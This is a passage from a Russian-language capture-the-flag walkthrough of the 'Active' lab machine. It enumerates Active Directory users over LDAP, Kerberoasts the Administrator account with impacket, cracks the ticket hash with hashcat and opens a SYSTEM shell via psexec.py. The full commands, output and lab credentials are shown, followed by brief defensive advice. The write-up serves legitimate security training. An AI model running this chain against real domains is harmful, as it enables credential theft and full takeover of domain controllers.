root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w ‘GPPstillStandingStrong2k18’-b «dc=active,dc=htb» -s sub»(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))» samaccountname | grep sAMAccountNamePage sAMAccountName: Administrator sAMAccountName: SVC_TGS |
То же самое можно было получить с помощью коллекции скриптов на Python impacket.
1 2 3 4 5 6 7 8 9 10 |
root@kali:~# GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 Impacket v0.9.18-dev — Copyright 2002-2018 Core Security Technologies [*] Querying 10.10.10.100 for information about domain. Name Email PasswordLastSet LastLogon ------------- ------ ------------------- ------------------- Administrator 2018-07-18 22:06:40 2018-12-11 04:20:35 Guest <never> <never> krbtgt 2018-07-18 21:50:36 <never> SVC_TGS 2018-07-18 23:14:38 2018-12-13 23:30:55 |
Kerberoasting — порт 88
Одна из техник повышения привилегий в рамках системы аутентификации Kerberos называется Kerberoasting (игра слов: Kerberos + roasting = «прожарка Kerberos»). Она была представлена Тимом Медином на конференции DerbyCon в 2014 году (PDF).
Основная идея атаки: если нужный нам аккаунт (администратор, конечно) ассоциирован с записью SPN (Service Principal Name), мы можем попросить у центра распределения ключей системы Kerberos (KDC, Key Distribution Center) на контроллере соответствующий тикет TGS (Ticket Granting Service), который будет содержать хеш пароля от этого аккаунта.
Если пароль слабый, мы легко восстановим его в офлайне. Это возможно потому, что TGS_REP — ответ Kerberos на такой запрос — будет зашифрован с помощью хеша NTLM-пароля того аккаунта, от имени которого запущен сервис.
Сетевые взаимодействия при подобной атаке отражены на рисунке ниже.
Если любишь такое чтиво, то о Kerberoasting можешь почитать в этих статьях.
- Kerberoasting Without Mimikatz
- Kerberoasting — Stealing Service Account Credentials
Получение SPN пользователей AD
Для перечисления (enumeration) принципалов развернутых сервисов (SPN) можно еще воспользоваться поиском по LDAP.
1 2 |
root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w’GPPstillStandingStrong2k18′ -b «dc=active,dc=htb» -s sub»(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/))» serviceprincipalname | grep-B 1 servicePrincipalName servicePrincipleName: active/CIFS:445 |
Или можно при помощи impacket сразу сдампить хеш TGS найденного аккаунта. Для этого есть флаг -request.
1 2 3 4 5 6 7 8 9 |
root@kali:~# GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -output tgs-administrator.hash Impacket v0.9.18-dev — Copyright 2002-2018 Core Security Technologies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 22:06:40 2018-12-11 04:20:35 root@kali:~# cat tgs-administrator.hash $krb5tgs$23$Administrator$ACTIVE.HTB$active/CIFS~445…[хеш-значение]… |
Восстановление пароля админа
Восстанавливать прообраз хеша будем с помощью Hashcat. С этой задачей может справиться и John The Ripper версии Jumbo.
Для начала заглянем в шпаргалку по режимам Hashcat и выясним, что нужный нам режим — 13100. Теперь все готово для восстановления пароля.
1 2 3 |
root@kali:~# hashcat -a 0 -m 13100 tgs-administrator.hash /usr/share/wordlists/rockyou.txt —force root@kali:~# hashcat -m 13100 tgs-administrator.hash —show $krb5tgs$23$Administrator$ACTIVE.HTB$active/CIFS~445…[хеш-значение]…:Ticketmaster1968 |
Успех. Авторизационные данные для привилегированного доступа — Administrator:Ticketmaster1968.
PrivEsc: SVC_TGS → Administrator
Можем забрать последний флаг root.txt из домашней директории администратора с помощью smbmap точно так же, как я показал это ранее, а можем с помощью скрипта psexec.py инициировать суперпользовательскую сессию.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@kali:~# psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 Impacket v0.9.18-dev — Copyright 2002-2018 Core Security Technologies [*] Requesting shares on 10.10.10.100..... [*] Found writable share ADMIN$ [*] Uploading file hPUtqrwN.exe [*] Opening SVCManager on 10.10.10.100..... [*] Creating service QclS on 10.10.10.100..... [*] Starting service QclS..... [!] Press help for extra shell commands Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system |
root.txt
1 2 |
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt b5fc76d1???????????????????????? |
На этом все, теперь система полностью под нашим контролем.
1 2 3 4 5 6 |
C:\Windows\system32>exit [*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0 [*] Opening SVCManager on 10.10.10.100..... [*] Stopping service QclS..... [*] Removing service QclS..... [*] Removing file hPUtqrwN.exe..... |
Защита
Что делать, чтобы такого не произошло с твоим настоящим контроллером домена? К сожалению, вектор, по которому осуществляется атака Kerberoasting, использует уязвимость самой архитектуры протокола Kerberos, поэтому наилучшая мера защиты от атак подобного типа — использовать сложные пароли для служебных учетных записей, связанных с Kerberos и SPN. Кроме того, нелишним будет сконфигурировать все сервисы без использования учетных записей с расширенными привилегиями.
Еще по теме: Повышение привилегий в Windows